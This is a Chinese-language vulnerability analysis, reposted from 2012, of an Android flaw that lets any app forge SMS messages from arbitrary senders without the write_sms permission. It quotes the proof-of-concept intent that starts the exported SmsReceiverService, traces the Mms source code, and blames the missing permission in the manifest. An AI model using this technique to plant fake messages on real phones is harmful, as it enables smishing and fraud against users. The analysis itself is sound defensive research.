注:原文发表于 2012-11-08并同时发表于freebuf,后来在博客地震中消失了,现在的是根据freebuf上的恢复而来的。
近期Android爆出SMS smishing vuln, 首先来源于http://www.csc.ncsu.edu/faculty/jiang/smishing.html, 然后github上给出了poc,具体来说是任意一个app在没有write_sms权限下可以伪造任意发件人的任意短信。
影响平台可上至Android 1.6下至4.1。由于很多以android2.3为主的手机已经不能再升级,此漏洞的危害不可小视。一个攻击场景是malicious app首先向ISP发送一条申请业务的短信,然后伪造ISP发送一条用户需要确认的短信。当用户确认时就中招了。
首先感谢各位大神的贡献。在github上给出poc后,我根据代码进行了一些分析。前面构造pdu的代码非常重要,但不是本文分析的重点。此次分析的POC代码在于
Intent intent = new Intent(); intent.setClassName("com.android.mms", "com.android.mms.transaction.SmsReceiverService"); intent.setAction("android.provider.Telephony.SMS_RECEIVED"); intent.putExtra("pdus", new Object[] { pdu }); intent.putExtra("format", "3gpp"); context.startService(intent);
这里启动了com.android.mms.transaction.smsreceiverService,这个service的代码在这里. 当service启动时,调用链如下:
onStartCommand->mServiceHandler.sendMessage(msg);
消息进入ServiceHandler的消息队列中,在handleMessage中得到处理。由于Action是SMS_RECEIVED,所以进入handleSmsReceived函数:
public void handleMessage(Message msg) { 159 int serviceId = msg.arg1; 160 Intent intent = (Intent)msg.obj; 161 if (intent != null) { 162 String action = intent.getAction(); 163 164 if (MESSAGE_SENT_ACTION.equals(intent.getAction())) { 165 handleSmsSent(intent); 166 } else if (SMS_RECEIVED_ACTION.equals(action)) { 167 handleSmsReceived(intent); 168 } else if (ACTION_BOOT_COMPLETED.equals(action)) { 169 handleBootCompleted(); 170 } else if (TelephonyIntents.ACTION_SERVICE_STATE_CHANGED.equals(action)) { 171 handleServiceStateChanged(intent); 172 } 173 } 174 // NOTE: We MUST not call stopSelf() directly, since we need to 175 // make sure the wake lock acquired by AlertReceiver is released. 176 SmsReceiver.finishStartingService(SmsReceiverService.this, serviceId); 177 } 178 }
handleSmsReceived
private void handleSmsReceived(Intent intent) { 279 SmsMessage[] msgs = Intents.getMessagesFromIntent(intent); 280 Uri messageUri = insertMessage(this, msgs); 281 282 if (Log.isLoggable(LogTag.TRANSACTION, Log.VERBOSE)) { 283 SmsMessage sms = msgs[0]; 284 Log.v(TAG, "handleSmsReceived" + (sms.isReplace() ? "(replace)" : "") + 285 " messageUri: " + messageUri + 286 ", address: " + sms.getOriginatingAddress() + 287 ", body: " + sms.getMessageBody()); 288 } 289 290 if (messageUri != null) { 291 MessagingNotification.updateNewMessageIndicator(this, true); 292 } 293 }
在291段用户得到通知,即一般大家看到的toast和短信提示框,再来看insertMessage,
private Uri insertMessage(Context context, SmsMessage[] msgs) { 331 // Build the helper classes to parse the messages. 332 SmsMessage sms = msgs[0]; 333 334 if (sms.getMessageClass() == SmsMessage.MessageClass.CLASS_0) { 335 displayClassZeroMessage(context, sms); 336 return null; 337 } else if (sms.isReplace()) { 338 return replaceMessage(context, msgs); 339 } else { 340 return storeMessage(context, msgs); 341 } 342 }
其中replaceMessage最后调用storeMessage, storeMessage负责将短信存入数据库。这样一个fake message就成功以假乱真。
那为什么会出现这样的问题?对/system/app/Mms.apk进行反编译,获得AndroidManifest.xml,在其中可以看到:
<application android:label="@string/app_label" android:icon="@drawable/ic_launcher_smsmms" android:name="MmsApp" android:taskAffinity="android.task.mms" android:allowTaskReparenting="true"> <service android:name=".transaction.TransactionService" android:exported="true" /> <service android:name=".transaction.SmsReceiverService" android:exported="true" /> <activity android:theme="@android:style/Theme.NoTitleBar" android:label="@string/app_label" android:name=".ui.MmsTabActivity" android:launchMode="singleTop" android:configChanges="keyboardHidden|orientation" android:windowSoftInputMode="stateAlwaysHidden|adjustPan">
SmsReceiverService被export出去后没有使用permission声明signature或signatureOrSystem或Dangerous,甚至也没有Normal声明。在代码中也没有显式调用checkPermission,这违反了android开发规范,造成了事实上的permission-redelegation漏洞。由于Mms属于系统程序,存在于所有android-platform中,后果更加严重。
以上是对android的最新短信漏洞做的分析。由于水平所限,如果有所疏误请不吝赐教。